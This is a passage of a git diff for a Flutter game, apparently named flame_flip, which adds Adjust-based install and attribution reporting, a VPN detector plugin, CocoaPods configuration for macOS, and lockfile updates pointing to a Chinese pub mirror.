{ + await prefs.setString(spOrigin, originUrl); + await prefs.setString(spResolved, resolved); + return resolved; + } + + return originUrl; + } catch (_) { + return originUrl; + } +} diff --git a/lib/utils/report.dart b/lib/utils/report.dart new file mode 100644 index 0000000..ebdcf02 --- /dev/null +++ b/lib/utils/report.dart @@ -0,0 +1,126 @@ +import 'dart:convert'; + +import 'package:adjust_sdk/adjust.dart'; +import 'package:adjust_sdk/adjust_attribution.dart'; +import 'package:flutter/cupertino.dart'; +import 'package:shared_preferences/shared_preferences.dart'; + +import 'device_info.dart'; +import 'http_util.dart'; + +const String _installSentKey = 'report_install_sent'; +const String _attributionSentKey = 'report_attribution_sent'; + +class ReportService { + ReportService._(); + static final ReportService I = ReportService._(); + + String adjustId = ''; + AdjustAttribution? _attribution; + AdjustAttribution? get attribution => _attribution; + Map _attributionMap = {}; + set attribution(AdjustAttribution? a) { + _attribution = a; + _attributionMap = getAttributionMap(); + } + + void report(String eventName, Map? params) { + sendReportAsync(eventName, params) + .then((_) => debugPrint('Report sent successfully $eventName')) + .catchError((error) { + debugPrint('Failed to send report: $error'); + }); + } + + void reportInstall() { + _sendDedupedReport( + 'install', + _installSentKey, + null, + ).then((_) => debugPrint('Report install finished')).catchError((error) { + debugPrint('Failed to send install report: $error'); + }); + } + + void reportAttribution() { + if (_attribution == null) { + debugPrint('Attribution data is null, skipping attribution report'); + return; + } + _sendDedupedReport('attribution', _attributionSentKey, {}) + .then((_) => debugPrint('Report attribution finished')) + .catchError((error) { + debugPrint('Failed to send attribution report: $error'); + }); + } + + Future sendReportAsync( + String eventName, + Map? params, + ) async { + if (eventName.isEmpty) { + debugPrint('Event name is empty, skipping report'); + return; + } + await _sendReport(eventName, params); + } + + Future _sendDedupedReport( + String eventName, + String sentKey, + Map? params, + ) async { + final prefs = await SharedPreferences.getInstance(); + final alreadySent = prefs.getBool(sentKey) == true; + if (alreadySent) { + debugPrint('$eventName report already sent, skipping'); + return; + } + + await _sendReport(eventName, params); + await prefs.setBool(sentKey, true); + } + + Future _sendReport( + String eventName, + Map? params, + ) async { + final deviceInfo = await DeviceInfo.I.deviceInfo(includeAdjust: false); + Map reportData = { + 'event': eventName, + 'params': params ?? {}, + 'attribution': _attributionMap, + 'deviceInfo': deviceInfo, + }; + if (_attribution != null) { + // 如果 attribution 不为 null,尝试获取 adjustAdid + try { + final adjustAdid = await Adjust.getAdidWithTimeout(1000); + reportData['adjustAdid'] = adjustAdid; + } catch (e) { + debugPrint('Failed to get Adjust Adid: $e'); + } + } + // 这里可以将 reportData 发送到服务器或者日志系统 + debugPrint('Report: $reportData'); + await reportInfo(jsonEncode(reportData)); + } + + Map getAttributionMap() { + if (_attribution == null) return {}; + return { + 'trackerToken': _attribution!.trackerToken ?? '', + 'trackerName': _attribution!.trackerName ?? '', + 'network': _attribution!.network ?? '', + 'campaign': _attribution!.campaign ?? '', + 'adgroup': _attribution!.adgroup ?? '', + 'creative': _attribution!.creative ?? '', + 'clickLabel': _attribution!.clickLabel ?? '', + 'costType': _attribution!.costType ?? '', + 'costAmount': _attribution!.costAmount?.toString() ?? '', + 'costCurrency': _attribution!.costCurrency ?? '', + 'jsonResponse': _attribution!.jsonResponse ?? '', + 'fbInstallReferrer': _attribution!.fbInstallReferrer ?? '', + }; + } +} diff --git a/linux/flutter/generated_plugin_registrant.cc b/linux/flutter/generated_plugin_registrant.cc index cc10c4d..90f9504 100644 --- a/linux/flutter/generated_plugin_registrant.cc +++ b/linux/flutter/generated_plugin_registrant.cc @@ -7,12 +7,16 @@ #include "generated_plugin_registrant.h" #include +#include #include void fl_register_plugins(FlPluginRegistry* registry) { g_autoptr(FlPluginRegistrar) audioplayers_linux_registrar = fl_plugin_registry_get_registrar_for_plugin(registry, "AudioplayersLinuxPlugin"); audioplayers_linux_plugin_register_with_registrar(audioplayers_linux_registrar); + g_autoptr(FlPluginRegistrar) flutter_vpn_detector_registrar = + fl_plugin_registry_get_registrar_for_plugin(registry, "FlutterVpnDetectorPlugin"); + flutter_vpn_detector_plugin_register_with_registrar(flutter_vpn_detector_registrar); g_autoptr(FlPluginRegistrar) url_launcher_linux_registrar = fl_plugin_registry_get_registrar_for_plugin(registry, "UrlLauncherPlugin"); url_launcher_plugin_register_with_registrar(url_launcher_linux_registrar); diff --git a/linux/flutter/generated_plugins.cmake b/linux/flutter/generated_plugins.cmake index 8e2a190..4eb27cd 100644 --- a/linux/flutter/generated_plugins.cmake +++ b/linux/flutter/generated_plugins.cmake @@ -4,10 +4,12 @@ list(APPEND FLUTTER_PLUGIN_LIST audioplayers_linux + flutter_vpn_detector url_launcher_linux ) list(APPEND FLUTTER_FFI_PLUGIN_LIST + jni ) set(PLUGIN_BUNDLED_LIBRARIES) diff --git a/macos/Flutter/Flutter-Debug.xcconfig b/macos/Flutter/Flutter-Debug.xcconfig index c2efd0b..4b81f9b 100644 --- a/macos/Flutter/Flutter-Debug.xcconfig +++ b/macos/Flutter/Flutter-Debug.xcconfig @@ -1 +1,2 @@ +#include? "Pods/Target Support Files/Pods-Runner/Pods-Runner.debug.xcconfig" #include "ephemeral/Flutter-Generated.xcconfig" diff --git a/macos/Flutter/Flutter-Release.xcconfig b/macos/Flutter/Flutter-Release.xcconfig index c2efd0b..5caa9d1 100644 --- a/macos/Flutter/Flutter-Release.xcconfig +++ b/macos/Flutter/Flutter-Release.xcconfig @@ -1 +1,2 @@ +#include? "Pods/Target Support Files/Pods-Runner/Pods-Runner.release.xcconfig" #include "ephemeral/Flutter-Generated.xcconfig" diff --git a/macos/Flutter/GeneratedPluginRegistrant.swift b/macos/Flutter/GeneratedPluginRegistrant.swift index 88887be..acbc9dd 100644 --- a/macos/Flutter/GeneratedPluginRegistrant.swift +++ b/macos/Flutter/GeneratedPluginRegistrant.swift @@ -8,6 +8,7 @@ import Foundation import audioplayers_darwin import device_info_plus import flutter_inappwebview_macos +import flutter_vpn_detector import package_info_plus import shared_preferences_foundation import url_launcher_macos @@ -16,6 +17,7 @@ func RegisterGeneratedPlugins(registry: FlutterPluginRegistry) { AudioplayersDarwinPlugin.register(with: registry.registrar(forPlugin: "AudioplayersDarwinPlugin")) DeviceInfoPlusMacosPlugin.register(with: registry.registrar(forPlugin: "DeviceInfoPlusMacosPlugin")) InAppWebViewFlutterPlugin.register(with: registry.registrar(forPlugin: "InAppWebViewFlutterPlugin")) + FlutterVpnDetectorPlugin.register(with: registry.registrar(forPlugin: "FlutterVpnDetectorPlugin")) FPPPackageInfoPlusPlugin.register(with: registry.registrar(forPlugin: "FPPPackageInfoPlusPlugin")) SharedPreferencesPlugin.register(with: registry.registrar(forPlugin: "SharedPreferencesPlugin")) UrlLauncherPlugin.register(with: registry.registrar(forPlugin: "UrlLauncherPlugin")) diff --git a/macos/Podfile b/macos/Podfile new file mode 100644 index 0000000..ff5ddb3 --- /dev/null +++ b/macos/Podfile @@ -0,0 +1,42 @@ +platform :osx, '10.15' + +# CocoaPods analytics sends network stats synchronously affecting flutter build latency. +ENV['COCOAPODS_DISABLE_STATS'] = 'true' + +project 'Runner', { + 'Debug' => :debug, + 'Profile' => :release, + 'Release' => :release, +} + +def flutter_root + generated_xcode_build_settings_path = File.expand_path(File.join('..', 'Flutter', 'ephemeral', 'Flutter-Generated.xcconfig'), __FILE__) + unless File.exist?(generated_xcode_build_settings_path) + raise "#{generated_xcode_build_settings_path} must exist. If you're running pod install manually, make sure \"flutter pub get\" is executed first" + end + + File.foreach(generated_xcode_build_settings_path) do |line| + matches = line.match(/FLUTTER_ROOT\=(.*)/) + return matches[1].strip if matches + end + raise "FLUTTER_ROOT not found in #{generated_xcode_build_settings_path}. Try deleting Flutter-Generated.xcconfig, then run \"flutter pub get\"" +end + +require File.expand_path(File.join('packages', 'flutter_tools', 'bin', 'podhelper'), flutter_root) + +flutter_macos_podfile_setup + +target 'Runner' do + use_frameworks! + + flutter_install_all_macos_pods File.dirname(File.realpath(__FILE__)) + target 'RunnerTests' do + inherit! :search_paths + end +end + +post_install do |installer| + installer.pods_project.targets.each do |target| + flutter_additional_macos_build_settings(target) + end +end diff --git a/macos/Podfile.lock b/macos/Podfile.lock new file mode 100644 index 0000000..ade70e2 --- /dev/null +++ b/macos/Podfile.lock @@ -0,0 +1,67 @@ +PODS: + - audioplayers_darwin (0.0.1): + - Flutter + - FlutterMacOS + - device_info_plus (0.0.1): + - FlutterMacOS + - flutter_inappwebview_macos (0.0.1): + - FlutterMacOS + - OrderedSet (~> 6.0.3) + - flutter_vpn_detector (0.1.5): + - FlutterMacOS + - FlutterMacOS (1.0.0) + - OrderedSet (6.0.3) + - package_info_plus (0.0.1): + - FlutterMacOS + - shared_preferences_foundation (0.0.1): + - Flutter + - FlutterMacOS + - url_launcher_macos (0.0.1): + - FlutterMacOS + +DEPENDENCIES: + - audioplayers_darwin (from `Flutter/ephemeral/.symlinks/plugins/audioplayers_darwin/darwin`) + - device_info_plus (from `Flutter/ephemeral/.symlinks/plugins/device_info_plus/macos`) + - flutter_inappwebview_macos (from `Flutter/ephemeral/.symlinks/plugins/flutter_inappwebview_macos/macos`) + - flutter_vpn_detector (from `Flutter/ephemeral/.symlinks/plugins/flutter_vpn_detector/macos`) + - FlutterMacOS (from `Flutter/ephemeral`) + - package_info_plus (from `Flutter/ephemeral/.symlinks/plugins/package_info_plus/macos`) + - shared_preferences_foundation (from `Flutter/ephemeral/.symlinks/plugins/shared_preferences_foundation/darwin`) + - url_launcher_macos (from `Flutter/ephemeral/.symlinks/plugins/url_launcher_macos/macos`) + +SPEC REPOS: + trunk: + - OrderedSet + +EXTERNAL SOURCES: + audioplayers_darwin: + :path: Flutter/ephemeral/.symlinks/plugins/audioplayers_darwin/darwin + device_info_plus: + :path: Flutter/ephemeral/.symlinks/plugins/device_info_plus/macos + flutter_inappwebview_macos: + :path: Flutter/ephemeral/.symlinks/plugins/flutter_inappwebview_macos/macos + flutter_vpn_detector: + :path: Flutter/ephemeral/.symlinks/plugins/flutter_vpn_detector/macos + FlutterMacOS: + :path: Flutter/ephemeral + package_info_plus: + :path: Flutter/ephemeral/.symlinks/plugins/package_info_plus/macos + shared_preferences_foundation: + :path: Flutter/ephemeral/.symlinks/plugins/shared_preferences_foundation/darwin + url_launcher_macos: + :path: Flutter/ephemeral/.symlinks/plugins/url_launcher_macos/macos + +SPEC CHECKSUMS: + audioplayers_darwin: 835ced6edd4c9fc8ebb0a7cc9e294a91d99917d5 + device_info_plus: 4fb280989f669696856f8b129e4a5e3cd6c48f76 + flutter_inappwebview_macos: c2d68649f9f8f1831bfcd98d73fd6256366d9d1d + flutter_vpn_detector: cec3d35ef15df0082e4a496065ffd1169d3361bf + FlutterMacOS: d0db08ddef1a9af05a5ec4b724367152bb0500b1 + OrderedSet: e539b66b644ff081c73a262d24ad552a69be3a94 + package_info_plus: f0052d280d17aa382b932f399edf32507174e870 + shared_preferences_foundation: 7036424c3d8ec98dfe75ff1667cb0cd531ec82bb + url_launcher_macos: f87a979182d112f911de6820aefddaf56ee9fbfd + +PODFILE CHECKSUM: 54d867c82ac51cbd61b565781b9fada492027009 + +COCOAPODS: 1.16.2 diff --git a/macos/Runner.xcodeproj/project.pbxproj b/macos/Runner.xcodeproj/project.pbxproj index 3accfc1..0155fb6 100644 --- a/macos/Runner.xcodeproj/project.pbxproj +++ b/macos/Runner.xcodeproj/project.pbxproj @@ -27,6 +27,8 @@ 33CC10F32044A3C60003C045 /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 33CC10F22044A3C60003C045 /* Assets.xcassets */; }; 33CC10F62044A3C60003C045 /* MainMenu.xib in Resources */ = {isa = PBXBuildFile; fileRef = 33CC10F42044A3C60003C045 /* MainMenu.xib */; }; 33CC11132044BFA00003C045 /* MainFlutterWindow.swift in Sources */ = {isa = PBXBuildFile; fileRef = 33CC11122044BFA00003C045 /* MainFlutterWindow.swift */; }; + 54F28C357B28F7E8B9C54F84 /* Pods_Runner.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 10E57424BF8C84273089B76A /* Pods_Runner.framework */; }; + 77D682650D9F71EDEC2BBD61 /* Pods_RunnerTests.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 980E05123DAD5E6061E174B5 /* Pods_RunnerTests.framework */; }; /* End PBXBuildFile section */ /* Begin PBXContainerItemProxy section */ @@ -60,11 +62,15 @@ /* End PBXCopyFilesBuildPhase section */ /* Begin PBXFileReference section */ + 0538F3A3A6CA382BFFC9379E /* Pods-Runner.profile.xcconfig */ = {isa = PBXFileReference; includeInIndex = 1; lastKnownFileType = text.xcconfig; name = "Pods-Runner.profile.xcconfig"; path = "Target Support Files/Pods-Runner/Pods-Runner.profile.xcconfig"; sourceTree = ""; }; + 055C5F79911D55B8019A5AC3 /* Pods-Runner.release.xcconfig */ = {isa = PBXFileReference; includeInIndex = 1; lastKnownFileType = text.xcconfig; name = "Pods-Runner.release.xcconfig"; path = "Target Support Files/Pods-Runner/Pods-Runner.release.xcconfig"; sourceTree = ""; }; + 084566EDC0549A51CCDF2E44 /* Pods-RunnerTests.debug.xcconfig */ = {isa = PBXFileReference; includeInIndex = 1; lastKnownFileType = text.xcconfig; name = "Pods-RunnerTests.debug.xcconfig"; path = "Target Support Files/Pods-RunnerTests/Pods-RunnerTests.debug.xcconfig"; sourceTree = ""; }; + 10E57424BF8C84273089B76A /* Pods_Runner.framework */ = {isa = PBXFileReference; explicitFileType = wrapper.framework; includeInIndex = 0; path = Pods_Runner.framework; sourceTree = BUILT_PRODUCTS_DIR; }; 331C80D5294CF71000263BE5 /* RunnerTests.xctest */ = {isa = PBXFileReference; explicitFileType = wrapper.cfbundle; includeInIndex = 0; path = RunnerTests.xctest; sourceTree = BUILT_PRODUCTS_DIR; }; 331C80D7294CF71000263BE5 /* RunnerTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = RunnerTests.swift; sourceTree = ""; }; 333000ED22D3DE5D00554162 /* Warnings.xcconfig */ = {isa = PBXFileReference; lastKnownFileType = text.xcconfig; path = Warnings.xcconfig; sourceTree = ""; }; 335BBD1A22A9A15E00E9071D /* GeneratedPluginRegistrant.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = GeneratedPluginRegistrant.swift; sourceTree = ""; }; - 33CC10ED2044A3C60003C045 /* flame_flip.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = "flame_flip.app"; sourceTree = BUILT_PRODUCTS_DIR; }; + 33CC10ED2044A3C60003C045 /* flame_flip.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = flame_flip.app; sourceTree = BUILT_PRODUCTS_DIR; }; 33CC10F02044A3C60003C045 /* AppDelegate.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AppDelegate.swift; sourceTree = ""; }; 33CC10F22044A3C60003C045 /* Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; name = Assets.xcassets; path = Runner/Assets.xcassets; sourceTree = ""; }; 33CC10F52044A3C60003C045 /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.xib; name = Base; path = Base.lproj/MainMenu.xib; sourceTree = ""; }; @@ -76,8 +82,12 @@ 33E51913231747F40026EE4D /* DebugProfile.entitlements */ = {isa = PBXFileReference; lastKnownFileType = text.plist.entitlements; path = DebugProfile.entitlements; sourceTree = ""; }; 33E51914231749380026EE4D /* Release.entitlements */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = text.plist.entitlements; path = Release.entitlements; sourceTree = ""; }; 33E5194F232828860026EE4D /* AppInfo.xcconfig */ = {isa = PBXFileReference; lastKnownFileType = text.xcconfig; path = AppInfo.xcconfig; sourceTree = ""; }; + 55A7832EB7A49B5E3074B9FC /* Pods-RunnerTests.profile.xcconfig */ = {isa = PBXFileReference; includeInIndex = 1; lastKnownFileType = text.xcconfig; name = "Pods-RunnerTests.profile.xcconfig"; path = "Target Support Files/Pods-RunnerTests/Pods-RunnerTests.profile.xcconfig"; sourceTree = ""; }; 7AFA3C8E1D35360C0083082E /* Release.xcconfig */ = {isa = PBXFileReference; lastKnownFileType = text.xcconfig; path = Release.xcconfig; sourceTree = ""; }; + 87AC630F5BDC66AD3107859E /* Pods-Runner.debug.xcconfig */ = {isa = PBXFileReference; includeInIndex = 1; lastKnownFileType = text.xcconfig; name = "Pods-Runner.debug.xcconfig"; path = "Target Support Files/Pods-Runner/Pods-Runner.debug.xcconfig"; sourceTree = ""; }; + 942EBDEBB7C5FD7BF1084AE2 /* Pods-RunnerTests.release.xcconfig */ = {isa = PBXFileReference; includeInIndex = 1; lastKnownFileType = text.xcconfig; name = "Pods-RunnerTests.release.xcconfig"; path = "Target Support Files/Pods-RunnerTests/Pods-RunnerTests.release.xcconfig"; sourceTree = ""; }; 9740EEB21CF90195004384FC /* Debug.xcconfig */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = text.xcconfig; path = Debug.xcconfig; sourceTree = ""; }; + 980E05123DAD5E6061E174B5 /* Pods_RunnerTests.framework */ = {isa = PBXFileReference; explicitFileType = wrapper.framework; includeInIndex = 0; path = Pods_RunnerTests.framework; sourceTree = BUILT_PRODUCTS_DIR; }; /* End PBXFileReference section */ /* Begin PBXFrameworksBuildPhase section */ @@ -85,6 +95,7 @@ isa = PBXFrameworksBuildPhase; buildActionMask = 2147483647; files = ( + 77D682650D9F71EDEC2BBD61 /* Pods_RunnerTests.framework in Frameworks */, ); runOnlyForDeploymentPostprocessing = 0; }; @@ -92,6 +103,7 @@ isa = PBXFrameworksBuildPhase; buildActionMask = 2147483647; files = ( + 54F28C357B28F7E8B9C54F84 /* Pods_Runner.framework in Frameworks */, ); runOnlyForDeploymentPostprocessing = 0; }; @@ -125,6 +137,7 @@ 331C80D6294CF71000263BE5 /* RunnerTests */, 33CC10EE2044A3C60003C045 /* Products */, D73912EC22F37F3D000D13A0 /* Frameworks */, + BC9EAA4A38B1568738EF72DF /* Pods */, ); sourceTree = ""; }; @@ -172,9 +185,25 @@ path = Runner; sourceTree = ""; }; + BC9EAA4A38B1568738EF72DF /* Pods */ = { + isa = PBXGroup; + children = ( + 87AC630F5BDC66AD3107859E /* Pods-Runner.debug.xcconfig */, + 055C5F79911D55B8019A5AC3 /* Pods-Runner.release.xcconfig */, + 0538F3A3A6CA382BFFC9379E /* Pods-Runner.profile.xcconfig */, + 084566EDC0549A51CCDF2E44 /* Pods-RunnerTests.debug.xcconfig */, + 942EBDEBB7C5FD7BF1084AE2 /* Pods-RunnerTests.release.xcconfig */, + 55A7832EB7A49B5E3074B9FC /* Pods-RunnerTests.profile.xcconfig */, + ); + name = Pods; + path = Pods; + sourceTree = ""; + }; D73912EC22F37F3D000D13A0 /* Frameworks */ = { isa = PBXGroup; children = ( + 10E57424BF8C84273089B76A /* Pods_Runner.framework */, + 980E05123DAD5E6061E174B5 /* Pods_RunnerTests.framework */, ); name = Frameworks; sourceTree = ""; @@ -186,6 +215,7 @@ isa = PBXNativeTarget; buildConfigurationList = 331C80DE294CF71000263BE5 /* Build configuration list for PBXNativeTarget "RunnerTests" */; buildPhases = ( + 590038735CF1A5055894D7E4 /* [CP] Check Pods Manifest.lock */, 331C80D1294CF70F00263BE5 /* Sources */, 331C80D2294CF70F00263BE5 /* Frameworks */, 331C80D3294CF70F00263BE5 /* Resources */, @@ -204,11 +234,13 @@ isa = PBXNativeTarget; buildConfigurationList = 33CC10FB2044A3C60003C045 /* Build configuration list for PBXNativeTarget "Runner" */; buildPhases = ( + 519A294386667F56A9CCEC43 /* [CP] Check Pods Manifest.lock */, 33CC10E92044A3C60003C045 /* Sources */, 33CC10EA2044A3C60003C045 /* Frameworks */, 33CC10EB2044A3C60003C045 /* Resources */, 33CC110E2044A8840003C045 /* Bundle Framework */, 3399D490228B24CF009A79C7 /* ShellScript */, + 5BF428EA9E8600924F5C3D16 /* [CP] Embed Pods Frameworks */, ); buildRules = ( ); @@ -329,6 +361,67 @@ shellPath = /bin/sh; shellScript = "\"$FLUTTER_ROOT\"/packages/flutter_tools/bin/macos_assemble.sh && touch Flutter/ephemeral/tripwire"; }; + 519A294386667F56A9CCEC43 /* [CP] Check Pods Manifest.lock */ = { + isa = PBXShellScriptBuildPhase; + buildActionMask = 2147483647; + files = ( + ); + inputFileListPaths = ( + ); + inputPaths = ( + "${PODS_PODFILE_DIR_PATH}/Podfile.lock", + "${PODS_ROOT}/Manifest.lock", + ); + name = "[CP] Check Pods Manifest.lock"; + outputFileListPaths = ( + ); + outputPaths = ( + "$(DERIVED_FILE_DIR)/Pods-Runner-checkManifestLockResult.txt", + ); + runOnlyForDeploymentPostprocessing = 0; + shellPath = /bin/sh; + shellScript = "diff \"${PODS_PODFILE_DIR_PATH}/Podfile.lock\" \"${PODS_ROOT}/Manifest.lock\" > /dev/null\nif [ $? != 0 ] ; then\n # print error to STDERR\n echo \"error: The sandbox is not in sync with the Podfile.lock. Run 'pod install' or update your CocoaPods installation.\" >&2\n exit 1\nfi\n# This output is used by Xcode 'outputs' to avoid re-running this script phase.\necho \"SUCCESS\" > \"${SCRIPT_OUTPUT_FILE_0}\"\n"; + showEnvVarsInLog = 0; + }; + 590038735CF1A5055894D7E4 /* [CP] Check Pods Manifest.lock */ = { + isa = PBXShellScriptBuildPhase; + buildActionMask = 2147483647; + files = ( + ); + inputFileListPaths = ( + ); + inputPaths = ( + "${PODS_PODFILE_DIR_PATH}/Podfile.lock", + "${PODS_ROOT}/Manifest.lock", + ); + name = "[CP] Check Pods Manifest.lock"; + outputFileListPaths = ( + ); + outputPaths = ( + "$(DERIVED_FILE_DIR)/Pods-RunnerTests-checkManifestLockResult.txt", + ); + runOnlyForDeploymentPostprocessing = 0; + shellPath = /bin/sh; + shellScript = "diff \"${PODS_PODFILE_DIR_PATH}/Podfile.lock\" \"${PODS_ROOT}/Manifest.lock\" > /dev/null\nif [ $? != 0 ] ; then\n # print error to STDERR\n echo \"error: The sandbox is not in sync with the Podfile.lock. Run 'pod install' or update your CocoaPods installation.\" >&2\n exit 1\nfi\n# This output is used by Xcode 'outputs' to avoid re-running this script phase.\necho \"SUCCESS\" > \"${SCRIPT_OUTPUT_FILE_0}\"\n"; + showEnvVarsInLog = 0; + }; + 5BF428EA9E8600924F5C3D16 /* [CP] Embed Pods Frameworks */ = { + isa = PBXShellScriptBuildPhase; + buildActionMask = 2147483647; + files = ( + ); + inputFileListPaths = ( + "${PODS_ROOT}/Target Support Files/Pods-Runner/Pods-Runner-frameworks-${CONFIGURATION}-input-files.xcfilelist", + ); + name = "[CP] Embed Pods Frameworks"; + outputFileListPaths = ( + "${PODS_ROOT}/Target Support Files/Pods-Runner/Pods-Runner-frameworks-${CONFIGURATION}-output-files.xcfilelist", + ); + runOnlyForDeploymentPostprocessing = 0; + shellPath = /bin/sh; + shellScript = "\"${PODS_ROOT}/Target Support Files/Pods-Runner/Pods-Runner-frameworks.sh\"\n"; + showEnvVarsInLog = 0; + }; /* End PBXShellScriptBuildPhase section */ /* Begin PBXSourcesBuildPhase section */ @@ -380,6 +473,7 @@ /* Begin XCBuildConfiguration section */ 331C80DB294CF71000263BE5 /* Debug */ = { isa = XCBuildConfiguration; + baseConfigurationReference = 084566EDC0549A51CCDF2E44 /* Pods-RunnerTests.debug.xcconfig */; buildSettings = { BUNDLE_LOADER = "$(TEST_HOST)"; CURRENT_PROJECT_VERSION = 1; @@ -394,6 +488,7 @@ }; 331C80DC294CF71000263BE5 /* Release */ = { isa = XCBuildConfiguration; + baseConfigurationReference = 942EBDEBB7C5FD7BF1084AE2 /* Pods-RunnerTests.release.xcconfig */; buildSettings = { BUNDLE_LOADER = "$(TEST_HOST)"; CURRENT_PROJECT_VERSION = 1; @@ -408,6 +503,7 @@ }; 331C80DD294CF71000263BE5 /* Profile */ = { isa = XCBuildConfiguration; + baseConfigurationReference = 55A7832EB7A49B5E3074B9FC /* Pods-RunnerTests.profile.xcconfig */; buildSettings = { BUNDLE_LOADER = "$(TEST_HOST)"; CURRENT_PROJECT_VERSION = 1; diff --git a/macos/Runner.xcworkspace/contents.xcworkspacedata b/macos/Runner.xcworkspace/contents.xcworkspacedata index 1d526a1..21a3cc1 100644 --- a/macos/Runner.xcworkspace/contents.xcworkspacedata +++ b/macos/Runner.xcworkspace/contents.xcworkspacedata @@ -4,4 +4,7 @@ + + diff --git a/pubspec.lock b/pubspec.lock index 1b1faf5..3e1924c 100644 --- a/pubspec.lock +++ b/pubspec.lock @@ -5,32 +5,48 @@ packages: dependency: "direct main" description: name: adjust_sdk - sha256: "62408962d8b01e0631f4d83ca7300fa43ea7d3b95ad9784fe7a8477e016987e1" - url: "https://pub.dev" + sha256: "5bd20ab37263d41c7b3e2016dd09a70e5f828051c71cec37bf19d91538c95641" + url: "https://pub.flutter-io.cn" source: hosted - version: "5.5.1" + version: "5.6.2" + android_id: + dependency: "direct main" + description: + name: android_id + sha256: "50d62501d623a7e7358b3ceffd1bdd9b420292eba66cec8347d33ed10791f28e" + url: "https://pub.flutter-io.cn" + source: hosted + version: "0.5.1" + args: + dependency: transitive + description: + name: args + sha256: d0481093c50b1da8910eb0bb301626d4d8eb7284aa739614d2b394ee09e3ea04 + url: "https://pub.flutter-io.cn" + source: hosted + version: "2.7.0" async: dependency: transitive description: name: async - sha256: "758e6d74e971c3e5aceb4110bfd6698efc7f501675bcfe0c775459a8140750eb" - url: "https://pub.dev" + sha256: e2eb0491ba5ddb6177742d2da23904574082139b07c1e33b8503b9f46f3e1a37 + url: "https://pub.flutter-io.cn" source: hosted - version: "2.13.0" + version: "2.13.1" audioplayers: dependency: "direct main" description: name: audioplayers - sha256: a72dd459d1a48f61a6fb9c0134dba26597c9236af40639ff0eb70eb4e0baab70 - url: "https://pub.dev" + sha256: f16640453cc47487b7de72a2b28d37c7df1ac97999849f4a46d92b1d2b0f093d + url: "https://pub.flutter-io.cn" source: hosted - version: "6.6.0" + version: "6.7.1" audioplayers_android: dependency: transitive description: name: audioplayers_android sha256: "60a6728277228413a85755bd3ffd6fab98f6555608923813ce383b190a360605" - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "5.2.1" audioplayers_darwin: @@ -38,7 +54,7 @@ packages: description: name: audioplayers_darwin sha256: c994b3bb3a921e4904ac40e013fbc94488e824fd7c1de6326f549943b0b44a91 - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "6.4.0" audioplayers_linux: @@ -46,7 +62,7 @@ packages: description: name: audioplayers_linux sha256: f75bce1ce864170ef5e6a2c6a61cd3339e1a17ce11e99a25bae4474ea491d001 - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "4.2.1" audioplayers_platform_interface: @@ -54,31 +70,31 @@ packages: description: name: audioplayers_platform_interface sha256: "0e2f6a919ab56d0fec272e801abc07b26ae7f31980f912f24af4748763e5a656" - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "7.1.1" audioplayers_web: dependency: transitive description: name: audioplayers_web - sha256: faa8fa6587f996a6f604433b53af44c57a1407d4fe8dff5766cf63d6875e8de9 - url: "https://pub.dev" + sha256: "24a6f258062bd7da8cb2157e83fccb9816a08dd306cbaaa24f9813d071470545" + url: "https://pub.flutter-io.cn" source: hosted - version: "5.2.0" + version: "5.2.1" audioplayers_windows: dependency: transitive description: name: audioplayers_windows - sha256: bafff2b38b6f6d331887558ba6e0a01c9c208d9dbb3ad0005234db065122a734 - url: "https://pub.dev" + sha256: "95f875a96c88c3dbbcb608d4f8288e300b0113d256a81d0b3197fcc18f0dc91a" + url: "https://pub.flutter-io.cn" source: hosted - version: "4.3.0" + version: "4.3.1" boolean_selector: dependency: transitive description: name: boolean_selector sha256: "8aab1771e1243a5063b8b0ff68042d67334e3feab9e95b9490f9a6ebf73b42ea" - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "2.1.2" characters: @@ -86,7 +102,7 @@ packages: description: name: characters sha256: faf38497bda5ead2a8c7615f4f7939df04333478bf32e4173fcb06d428b5716b - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "1.4.1" clock: @@ -94,23 +110,23 @@ packages: description: name: clock sha256: fddb70d9b5277016c77a80201021d40a2247104d9f4aa7bab7157b7e3f05b84b - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "1.1.2" code_assets: dependency: transitive description: name: code_assets - sha256: "83ccdaa064c980b5596c35dd64a8d3ecc68620174ab9b90b6343b753aa721687" - url: "https://pub.dev" + sha256: bf394f466ba9205f1812a0433b392d6af280f155f56651eda7c18cc32ed493b8 + url: "https://pub.flutter-io.cn" source: hosted - version: "1.0.0" + version: "1.2.1" collection: dependency: transitive description: name: collection sha256: "2f5709ae4d3d59dd8f7cd309b4e023046b57d8a6c82130785d2b0e5868084e76" - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "1.19.1" convert: @@ -118,7 +134,7 @@ packages: description: name: convert sha256: b30acd5944035672bc15c6b7a8b47d773e41e2f17de064350988c5d02adb1c68 - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "3.1.2" crypto: @@ -126,31 +142,31 @@ packages: description: name: crypto sha256: c8ea0233063ba03258fbcf2ca4d6dadfefe14f02fab57702265467a19f27fadf - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "3.0.7" cupertino_icons: dependency: "direct main" description: name: cupertino_icons - sha256: ba631d1c7f7bef6b729a622b7b752645a2d076dba9976925b8f25725a30e1ee6 - url: "https://pub.dev" + sha256: "41e005c33bd814be4d3096aff55b1908d419fde52ca656c8c47719ec745873cd" + url: "https://pub.flutter-io.cn" source: hosted - version: "1.0.8" 